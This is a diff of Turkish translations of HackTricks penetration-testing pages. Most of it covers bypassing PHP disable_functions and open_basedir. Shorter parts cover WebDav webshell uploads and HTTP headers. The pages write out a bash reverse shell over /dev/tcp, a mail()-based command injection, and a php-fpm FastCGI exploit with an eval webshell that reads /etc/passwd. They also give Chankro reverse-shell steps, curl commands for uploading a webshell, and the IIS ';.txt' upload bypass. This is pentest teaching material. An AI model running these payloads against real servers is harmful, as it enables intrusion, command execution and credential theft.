**Not:** A [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell, bazıları devre dışı bırakılmışsa, aşağıdaki fonksiyonu **otomatik olarak** kontrol edebilir ve atlatabilir.
|
||||
**Not:** A [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php webshell, bazıları devre dışı bırakılmışsa, aşağıdaki fonksiyonu **otomatik olarak** kontrol edebilir ve atlayabilir.
|
||||
|
||||
**exec** - Komutların çıktısının son satırını döndürür
|
||||
```bash
|
||||
@ -24,7 +24,7 @@ echo system("uname -a");
|
||||
```bash
|
||||
echo shell_exec("uname -a");
|
||||
```
|
||||
\`\` (ters tırnaklar) - shell_exec() ile aynı
|
||||
\`\` (backticks) - shell_exec() ile aynı
|
||||
```bash
|
||||
echo `uname -a`
|
||||
```
|
||||
@ -44,11 +44,11 @@ proc_close(proc_open("uname -a",array(),$something));
|
||||
```bash
|
||||
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
|
||||
```
|
||||
**mail / mb_send_mail** - Bu fonksiyon e-posta göndermek için kullanılır, ancak `$options` parametresine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bunun nedeni, **php `mail` fonksiyonu** genellikle sistemdeki `sendmail` ikili dosyasını çağırması ve **ekstra seçenekler** koymanıza izin vermesidir. Ancak, yürütülen komutun çıktısını göremeyeceksiniz, bu nedenle çıktıyı bir dosyaya yazan bir shell script oluşturmanız, bunu mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir:
|
||||
**mail / mb_send_mail** - Bu fonksiyon e-postaları göndermek için kullanılır, ancak `$options` parametresine keyfi komutlar enjekte etmek için de kötüye kullanılabilir. Bunun nedeni, **php `mail` fonksiyonu** genellikle sistemde `sendmail` ikili dosyasını çağırması ve **ekstra seçenekler** koymanıza izin vermesidir. Ancak, yürütülen komutun çıktısını göremeyeceksiniz, bu nedenle çıktıyı bir dosyaya yazan bir shell script oluşturmanız, bunu mail ile çalıştırmanız ve çıktıyı yazdırmanız önerilir:
|
||||
```bash
|
||||
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
|
||||
```
|
||||
**dl** - Bu fonksiyon, dinamik olarak bir PHP uzantısını yüklemek için kullanılabilir. Bu fonksiyon her zaman mevcut olmayabilir, bu yüzden onu istismar etmeye çalışmadan önce mevcut olup olmadığını kontrol etmelisiniz. [Bu sayfayı okuyun, bu fonksiyonu nasıl istismar edeceğinizi öğrenin](disable_functions-bypass-dl-function.md).
|
||||
**dl** - Bu fonksiyon, dinamik olarak bir PHP uzantısını yüklemek için kullanılabilir. Bu fonksiyon her zaman mevcut olmayabilir, bu yüzden onu istismar etmeden önce mevcut olup olmadığını kontrol etmelisiniz. [Bu sayfayı okuyarak bu fonksiyonu nasıl istismar edeceğinizi öğrenin](disable_functions-bypass-dl-function.md).
|
||||
|
||||
### PHP Kod Çalıştırma
|
||||
|
||||
@ -85,12 +85,12 @@ Her iki yapılandırma da **`phpinfo()`** çıktısında görülebilir:
|
||||
|
||||
## open_basedir Bypass
|
||||
|
||||
`open_basedir`, PHP'nin erişebileceği klasörleri yapılandırır, bu nedenle **bu klasörlerin dışındaki** herhangi bir dosyayı yazma/okuma/çalıştırma işlemi **yapamazsınız**, ayrıca diğer dizinleri **listeleyemezsiniz**.\
|
||||
`open_basedir`, PHP'nin erişebileceği klasörleri yapılandırır, bu nedenle **bu klasörlerin dışındaki** herhangi bir dosyayı yazma/okuma/çalıştırma **imkanınız olmayacaktır**, ayrıca diğer dizinleri **listeleme** bile yapamazsınız.\
|
||||
Ancak, bir şekilde rastgele PHP kodu çalıştırabiliyorsanız, kısıtlamayı **aşmak** için aşağıdaki **kod** parçalarını **deneyebilirsiniz**.
|
||||
|
||||
### glob:// bypass ile dizinleri listeleme
|
||||
### glob:// ile dizinleri listeleme bypass'ı
|
||||
|
||||
Bu ilk örnekte, bazı yol aşımının kullanıldığı `glob://` protokolü kullanılmaktadır:
|
||||
Bu ilk örnekte `glob://` protokolü ile bazı yol bypass'ları kullanılır:
|
||||
```php
|
||||
<?php
|
||||
$file_list = array();
|
||||
@ -108,19 +108,19 @@ echo "{$f}<br/>";
|
||||
}
|
||||
```
|
||||
**Not1**: Yolda `/e??/*` kullanarak `/etc/*` ve diğer klasörleri listeleyebilirsiniz.\
|
||||
**Not2**: Kodun bir kısmının kopyalandığı gibi görünüyor, ama bu aslında gereklidir!\
|
||||
**Not2**: Görünüşe göre kodun bir kısmı tekrarlanmış, ama bu aslında gereklidir!\
|
||||
**Not3**: Bu örnek yalnızca klasörleri listelemek için yararlıdır, dosyaları okumak için değil.
|
||||
|
||||
### Tam open_basedir bypass FastCGI'yi istismar etme
|
||||
|
||||
Eğer **PHP-FPM ve FastCGI hakkında daha fazla bilgi edinmek istiyorsanız** bu sayfanın [ilk bölümünü](disable_functions-bypass-php-fpm-fastcgi.md) okuyabilirsiniz.\
|
||||
Eğer **`php-fpm`** yapılandırılmışsa, **open_basedir**'i tamamen atlatmak için bunu istismar edebilirsiniz:
|
||||
Eğer **`php-fpm`** yapılandırılmışsa, bunu **open_basedir**'i tamamen atlamak için istismar edebilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
İlk yapmanız gereken şey, **php-fpm'in unix soketinin** nerede olduğunu bulmaktır. Genellikle `/var/run` altında bulunur, bu yüzden **önceki kodu kullanarak dizini listeleyip bulabilirsiniz**.\
|
||||
İlk yapmanız gereken şey **php-fpm'in unix soketinin** nerede olduğunu bulmaktır. Genellikle `/var/run` altında bulunur, bu yüzden **önceki kodu kullanarak dizini listeleyip bulabilirsiniz**.\
|
||||
[Buradan](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) kod.
|
||||
```php
|
||||
<?php
|
||||
@ -472,9 +472,9 @@ $params = array(
|
||||
echo $client->request($params, $code)."\n";
|
||||
?>
|
||||
```
|
||||
Bu scriptler, **unix socket of php-fpm** ile iletişim kurarak rastgele kod çalıştırmak için kullanılacaktır (genellikle fpm kullanılıyorsa /var/run içinde bulunur). `open_basedir` ayarları, gönderilen **PHP_VALUE** niteliği ile geçersiz kılınacaktır.\
|
||||
Bu scriptler, **php-fpm'in unix soketi** ile iletişim kurarak rastgele kod çalıştırmak için kullanılacaktır (genellikle fpm kullanılıyorsa /var/run içinde bulunur). `open_basedir` ayarları, gönderilen **PHP_VALUE** niteliği ile geçersiz kılınacaktır.\
|
||||
Gönderdiğiniz PHP kodunu **cmd** parametresi içinde çalıştırmak için `eval`'in nasıl kullanıldığına dikkat edin.\
|
||||
Ayrıca **yorum satırı 324**'e de dikkat edin, bunu yorumdan çıkarabilir ve **payload otomatik olarak verilen URL'ye bağlanıp orada bulunan PHP kodunu çalıştıracaktır.**\
|
||||
Ayrıca **yorum satırı 324**'e dikkat edin, bunu yorumdan çıkarabilir ve **payload, verilen URL'ye otomatik olarak bağlanıp orada bulunan PHP kodunu çalıştıracaktır.**\
|
||||
Sadece `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` adresine erişerek `/etc/passwd` dosyasının içeriğini alabilirsiniz.
|
||||
|
||||
> [!WARNING]
|
||||
@ -482,20 +482,20 @@ Sadece `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd
|
||||
|
||||
## disable_functions Bypass
|
||||
|
||||
Eğer bir makinede PHP kodu çalıştırmayı başarırsanız, muhtemelen bir sonraki seviyeye geçmek ve **rastgele sistem komutları çalıştırmak** istersiniz. Bu durumda, çoğu veya tüm PHP **fonksiyonlarının** **sistem komutlarını çalıştırmasına izin vermediğini** keşfetmek yaygındır **`disable_functions`** içinde.\
|
||||
Bu kısıtlamayı nasıl aşabileceğinizi görelim (eğer aşabilirseniz)
|
||||
Eğer bir makinede PHP kodu çalıştırmayı başarırsanız, muhtemelen bir sonraki seviyeye geçmek ve **rastgele sistem komutları çalıştırmak** istersiniz. Bu durumda, çoğu veya tüm PHP **fonksiyonlarının** **sistem komutlarını çalıştırmasına izin vermek için **`disable_functions`**'da devre dışı bırakıldığını keşfetmek yaygındır.\
|
||||
Bu kısıtlamayı nasıl aşabileceğinizi görelim (eğer aşabiliyorsanız)
|
||||
|
||||
### Otomatik bypass keşfi
|
||||
|
||||
[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) aracını kullanabilir ve hangi fonksiyonu (varsa) **`disable_functions`**'ı **bypass** etmek için kullanabileceğinizi gösterecektir.
|
||||
[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) aracını kullanabilirsiniz ve bu, hangi fonksiyonun (varsa) **`disable_functions`**'ı **bypass** etmek için kullanılabileceğini gösterecektir.
|
||||
|
||||
### Diğer sistem fonksiyonlarını kullanarak bypass
|
||||
### Diğer sistem fonksiyonları kullanarak bypass
|
||||
|
||||
Bu sayfanın başına geri dönün ve **komut çalıştırma fonksiyonlarından herhangi birinin devre dışı olmadığını ve ortamda mevcut olup olmadığını kontrol edin**. Eğer bunlardan sadece 1 tanesini bulursanız, rastgele sistem komutları çalıştırmak için bunu kullanabileceksiniz.
|
||||
Bu sayfanın başına geri dönün ve **komut çalıştırma fonksiyonlarından herhangi birinin devre dışı bırakılmadığını ve ortamda mevcut olup olmadığını kontrol edin**. Eğer bunlardan sadece 1 tanesini bulursanız, rastgele sistem komutları çalıştırmak için bunu kullanabileceksiniz.
|
||||
|
||||
### LD_PRELOAD bypass
|
||||
|
||||
PHP'de `mail()` gibi bazı fonksiyonların **sistemde ikili dosyaları çalıştıracağı** iyi bilinmektedir. Bu nedenle, bunları `LD_PRELOAD` ortam değişkenini kullanarak, herhangi bir şeyi çalıştırabilen rastgele bir kütüphaneyi yüklemek için kötüye kullanabilirsiniz.
|
||||
PHP'de `mail()` gibi bazı fonksiyonların **sistemde ikili dosyaları çalıştıracağı** iyi bilinmektedir. Bu nedenle, `LD_PRELOAD` ortam değişkenini kullanarak bunları kötüye kullanabilir ve herhangi bir şeyi çalıştırabilen rastgele bir kütüphaneyi yüklemelerini sağlayabilirsiniz.
|
||||
|
||||
#### LD_PRELOAD ile disable_functions'ı bypass etmek için kullanılabilecek fonksiyonlar
|
||||
|
||||
@ -524,10 +524,10 @@ return 1;
|
||||
#### Chankro Kullanarak Bypass
|
||||
|
||||
Bu yanlış yapılandırmayı istismar etmek için [**Chankro**](https://github.com/TarlogicSecurity/Chankro) kullanabilirsiniz. Bu, yüklemeniz ve çalıştırmanız gereken **bir PHP istismarı** oluşturacak bir araçtır (web üzerinden erişin).\
|
||||
**Chankro**, kurbanın diskinin içine **kütüphane ve ters shell** yazacak ve **`LD_PRELOAD` hilesi + PHP `mail()`** fonksiyonunu kullanarak ters shell'i çalıştıracaktır.
|
||||
**Chankro**, kurbanın diskinin içine çalıştırmak istediğiniz **kütüphane ve ters shell** yazacak ve **`LD_PRELOAD` hilesi + PHP `mail()`** fonksiyonunu kullanarak ters shell'i çalıştıracaktır.
|
||||
|
||||
**Chankro**'yu kullanmak için `mail` ve `putenv` **`disable_functions` listesinde yer almamalıdır**.\
|
||||
Aşağıdaki örnekte, **arch 64** için **bir chankro istismarı** nasıl oluşturulacağını görebilirsiniz; bu, `whoami` komutunu çalıştıracak ve çıktıyı _/tmp/chankro_shell.out_ dosyasına kaydedecek, chankro **kütüphane ve yükü** _/tmp_ dizinine yazacak ve **son istismar** **bicho.php** olarak adlandırılacaktır (bu, kurbanın sunucusuna yüklemeniz gereken dosyadır):
|
||||
Aşağıdaki örnekte, `whoami` komutunu çalıştıracak ve çıktıyı _/tmp/chankro_shell.out_ dosyasına kaydedecek **arch 64 için bir chankro istismarı** nasıl oluşturulacağını görebilirsiniz. Chankro, _/tmp_ dizinine **kütüphane ve yükü** yazacak ve **son istismar** **bicho.php** olarak adlandırılacaktır (bu, kurbanın sunucusuna yüklemeniz gereken dosyadır):
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="shell.sh"}}
|
||||
@ -547,10 +547,10 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
|
||||
Eğer **mail** fonksiyonunun devre dışı bırakılmış fonksiyonlar tarafından engellendiğini bulursanız, **mb_send_mail** fonksiyonunu kullanmaya devam edebilirsiniz.\
|
||||
Bu teknik ve Chankro hakkında daha fazla bilgi burada: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
|
||||
|
||||
### PHP yetenekleri kullanarak "Bypass"
|
||||
### "Bypass" PHP yetenekleri kullanarak
|
||||
|
||||
**PHP** kullanarak **dosyaları okuyabilir ve yazabilir, dizinler oluşturabilir ve izinleri değiştirebilirsiniz.**\
|
||||
Hatta **veritabanlarını dökebilirsiniz.**\
|
||||
Ayrıca **veritabanlarını dökebilirsiniz.**\
|
||||
Belki **PHP** kullanarak kutuyu **numaralandırarak** ayrıcalıkları artırmanın/komutları çalıştırmanın bir yolunu bulabilirsiniz (örneğin, bazı özel ssh anahtarlarını okuyarak).
|
||||
|
||||
Bu eylemleri gerçekleştirmeyi çok kolaylaştıran bir webshell oluşturdum (çoğu webshell'in de bu seçenekleri sunduğunu unutmayın): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
|
||||
@ -560,7 +560,7 @@ Bu eylemleri gerçekleştirmeyi çok kolaylaştıran bir webshell oluşturdum (
|
||||
Belirli bir modül kullanılıyorsa veya belirli bir PHP sürümünü istismar ediyorsanız, disable_functions'ı atlatmanın birkaç yolu vardır:
|
||||
|
||||
- [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md)
|
||||
- [**FFI - Yabancı Fonksiyon Arayüzü etkinleştirilerek Bypass**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
|
||||
- [**FFI ile Bypass - Yabancı Fonksiyon Arayüzü etkin**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
|
||||
- [**mem üzerinden Bypass**](disable_functions-bypass-via-mem.md)
|
||||
- [**mod_cgi**](disable_functions-bypass-mod_cgi.md)
|
||||
- [**PHP Perl Uzantısı Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
|
||||
@ -589,7 +589,7 @@ Belirli bir modül kullanılıyorsa veya belirli bir PHP sürümünü istismar e
|
||||
Aşağıdaki script burada bahsedilen bazı yöntemleri dener:\
|
||||
[https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php)
|
||||
|
||||
## Diğer İlginç PHP fonksiyonları
|
||||
## Diğer İlginç PHP Fonksiyonları
|
||||
|
||||
### Geri çağırmaları kabul eden fonksiyonlar listesi
|
||||
|
||||
@ -635,7 +635,7 @@ Bu fonksiyonlar, saldırganın seçimine göre bir fonksiyonu çağırmak için
|
||||
```
|
||||
### Bilgi Sızdırma
|
||||
|
||||
Bu fonksiyon çağrılarının çoğu sink değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görülebiliyorsa bu bir zafiyet olabilir. Eğer bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zafiyettir.
|
||||
Bu fonksiyon çağrılarının çoğu bir sink değildir. Ancak, dönen verilerden herhangi biri bir saldırgan tarafından görülebiliyorsa bu kesinlikle bir zayıflık olabilir. Eğer bir saldırgan phpinfo() görebiliyorsa, bu kesinlikle bir zayıflıktır.
|
||||
```php
|
||||
phpinfo
|
||||
posix_mkfifo
|
||||
@ -677,9 +677,9 @@ posix_setuid
|
||||
```
|
||||
### Dosya Sistemi Fonksiyonları
|
||||
|
||||
RATS'a göre php'deki tüm dosya sistemi fonksiyonları kötü. Bunlardan bazıları saldırgan için çok faydalı görünmüyor. Diğerleri ise düşündüğünüzden daha faydalı. Örneğin, allow_url_fopen=On ise bir url dosya yolu olarak kullanılabilir, bu nedenle copy($\_GET\['s'], $\_GET\['d']); çağrısı, bir PHP betiğini sistemin herhangi bir yerine yüklemek için kullanılabilir. Ayrıca, bir site GET ile gönderilen bir isteğe karşı savunmasızsa, bu dosya sistemi fonksiyonlarının her biri, sunucunuz aracılığıyla başka bir hosta saldırı yönlendirmek için kötüye kullanılabilir.
|
||||
RATS'a göre, php'deki tüm dosya sistemi fonksiyonları kötü niyetlidir. Bunlardan bazıları saldırgan için çok faydalı görünmüyor. Diğerleri ise düşündüğünüzden daha faydalı olabilir. Örneğin, allow_url_fopen=On ise, bir URL dosya yolu olarak kullanılabilir, bu nedenle copy($\_GET\['s'], $\_GET\['d']); çağrısı, sistemde herhangi bir yere bir PHP betiği yüklemek için kullanılabilir. Ayrıca, bir site GET ile gönderilen bir isteğe karşı savunmasızsa, bu dosya sistemi fonksiyonlarının her biri, sunucunuz aracılığıyla başka bir ana bilgisayara saldırı yönlendirmek için kötüye kullanılabilir.
|
||||
|
||||
**Açık dosya sistemi işleyici**
|
||||
**Açık dosya sistemi işleyicisi**
|
||||
```php
|
||||
fopen
|
||||
tmpfile
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle bir **webshell yükleme ve çalıştırma** işlemini içerir.
|
||||
**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle **bir webshell'in yüklenmesi ve çalıştırılmasını** içerir.
|
||||
|
||||
WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir; [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) bunları elde etmenin yaygın bir yöntemidir.
|
||||
|
||||
@ -14,7 +14,7 @@ Dosya yükleme kısıtlamalarını aşmak için, özellikle sunucu tarafı betik
|
||||
|
||||
## DavTest
|
||||
|
||||
**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını kontrol eder:**
|
||||
**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını** **kontrol eder**:
|
||||
```bash
|
||||
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
|
||||
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
|
||||
@ -25,7 +25,7 @@ Bu, **.txt** ve **.html uzantılarının çalıştırıldığı** anlamına gelm
|
||||
|
||||
## Cadaver
|
||||
|
||||
Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel olarak** gerçekleştirmek için kullanabilirsiniz.
|
||||
Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel** olarak gerçekleştirmek için kullanabilirsiniz.
|
||||
```
|
||||
cadaver <IP>
|
||||
```
|
||||
@ -39,7 +39,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
|
||||
```
|
||||
## IIS5/6 WebDav Açığı
|
||||
|
||||
Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bu durumu **aşabilirsiniz** ve dosya, bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de **kullanabilirsiniz** ama **";"yı unutmayın**).
|
||||
Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bunu **bypass** edebilirsiniz ve dosya, sanki bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de kullanabilirsiniz ama **";"yı unutmayın**).
|
||||
|
||||
Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/hareket ettirebilirsiniz**. Web sunucusu üzerinden o dosyaya eriştiğinizde, **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecektir, ama çalıştı).
|
||||
|
||||
@ -48,7 +48,7 @@ Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir "
|
||||
## Post kimlik bilgileri
|
||||
|
||||
Eğer Webdav bir Apache sunucusu kullanıyorsa, Apache'de yapılandırılmış sitelere bakmalısınız. Genellikle:\
|
||||
\_**/etc/apache2/sites-enabled/000-default**_
|
||||
_**/etc/apache2/sites-enabled/000-default**_
|
||||
|
||||
İçinde şöyle bir şey bulabilirsiniz:
|
||||
```
|
||||
@ -65,7 +65,7 @@ Gördüğünüz gibi, **webdav** sunucusu için geçerli **credentials** içeren
|
||||
```
|
||||
/etc/apache2/users.password
|
||||
```
|
||||
Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'ini bulacaksınız. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir.
|
||||
Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir.
|
||||
|
||||
Onları **kırmayı** deneyebilir veya bir nedenle **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla** ekleyebilirsiniz:
|
||||
```bash
|
||||
|
||||
@ -56,10 +56,10 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük
|
||||
|
||||
**Sunucu Önbellek Başlıkları**:
|
||||
|
||||
- **`X-Cache`** yanıt içinde, isteğin önbelleğe alınmadığı zaman **`miss`** ve önbelleğe alındığı zaman **`hit`** değerine sahip olabilir
|
||||
- **`X-Cache`** yanıtında, istek önbelleğe alınmadığında **`miss`** değeri ve önbelleğe alındığında **`hit`** değeri olabilir
|
||||
- **`Cf-Cache-Status`** başlığında benzer bir davranış
|
||||
- **`Cache-Control`** bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki önbelleğe alma zamanını belirtir: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıklerin** önbellek anahtarının bir parçası olarak muamele edildiğini **belirtmek için** kullanılır.
|
||||
- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıkların** önbellek anahtarının bir parçası olarak ele alındığını **belirtmek için** kullanılır.
|
||||
- **`Age`** nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın önbelleğe alındığını belirtir
|
||||
|
||||
@ -76,30 +76,30 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük
|
||||
|
||||
## Koşullu İstekler
|
||||
|
||||
- Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`** yalnızca yanıt başlığı\*\*`Last-Modified`\*\* farklı bir zaman içeriyorsa veri ile yanıtlanır.
|
||||
- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun veri (Etag) değiştiğinde yanıt içeriğini göndermesini sağlamak için bir Etag değeri kullanır. `Etag`, HTTP yanıtından alınır.
|
||||
- Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`** yalnızca yanıt başlığı **`Last-Modified`** farklı bir zaman içeriyorsa veri ile yanıtlanır.
|
||||
- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun yanıt içeriğini göndermesi için bir Etag değeri kullanır, eğer veri (Etag) değiştiyse. `Etag`, HTTP yanıtından alınır.
|
||||
- **Etag** değeri genellikle yanıtın **içeriğine** dayalı olarak **hesaplanır**. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'ın **37 bayt**'ın **Sha1**'ı olduğunu gösterir.
|
||||
|
||||
## Aralık İstekleri
|
||||
|
||||
- **`Accept-Ranges`**: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Sunucunun döndürmesi gereken bir belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın.
|
||||
- **`Range`**: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın.
|
||||
- Bu, aksi takdirde kaçırılabilecek rastgele yansıtılmış javascript kodu ile bir yanıt almak için yararlı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir.
|
||||
- **`If-Range`**: Verilen etag veya tarih uzaktan kaynakla eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Kaynağın uyumsuz sürümlerinden iki aralığın indirilmesini önlemek için kullanılır.
|
||||
- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nereye ait olduğunu belirtir.
|
||||
- **`If-Range`**: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Uyumlu olmayan kaynak sürümlerinden iki aralığın indirilmesini önlemek için kullanılır.
|
||||
- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nerede yer aldığını belirtir.
|
||||
|
||||
## Mesaj gövdesi bilgileri
|
||||
|
||||
- **`Content-Length`:** Kaynağın boyutu, ondalık sayı olarak bayt cinsinden.
|
||||
- **`Content-Type`**: Kaynağın medya türünü belirtir
|
||||
- **`Content-Encoding`**: Sıkıştırma algoritmasını belirtmek için kullanılır.
|
||||
- **`Content-Language`**: Hedef kitle için tasarlanmış insan dili(leri)ni tanımlar, böylece bir kullanıcının kendi tercih ettiği dile göre ayırt etmesine olanak tanır.
|
||||
- **`Content-Language`**: Hedef kitle için tasarlanan insan dili(leri)ni tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre ayırt etmelerine olanak tanır.
|
||||
- **`Content-Location`**: Döndürülen veriler için alternatif bir konumu belirtir.
|
||||
|
||||
Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401** veya **403** ile **korunuyorsa** ve bu **bilgiyi** **almanın** bir **yolunu** bulursanız, bu **ilginç** olabilir.\
|
||||
Örneğin, bir HEAD isteğinde **`Range`** ve **`Etag`** kombinasyonu, HEAD istekleri aracılığıyla sayfanın içeriğini sızdırabilir:
|
||||
|
||||
- `Range: bytes=20-20` başlığı ile bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır.
|
||||
- `Range: bytes=20-20` başlığına sahip bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır.
|
||||
|
||||
## Sunucu Bilgisi
|
||||
|
||||
@ -113,7 +113,7 @@ Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401*
|
||||
|
||||
## İndirmeler
|
||||
|
||||
- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek olarak** (indirilecek) mi görüntülenmesi gerektiğini yönlendirir. Örneğin:
|
||||
- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek** (indirilmiş) olarak mı görüntülenmesi gerektiğini yönlendirir. Örneğin:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -129,7 +129,7 @@ Bu, "filename.jpg" adlı dosyanın indirilip kaydedilmek üzere tasarlandığı
|
||||
|
||||
### **Güvenilir Türler**
|
||||
|
||||
CSP aracılığıyla Güvenilir Türlerin zorunlu kılınması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak oluşturulmuş nesnelerin tehlikeli web API çağrılarında kullanılmasını garanti eder, böylece JavaScript kodunu varsayılan olarak güvence altına alır.
|
||||
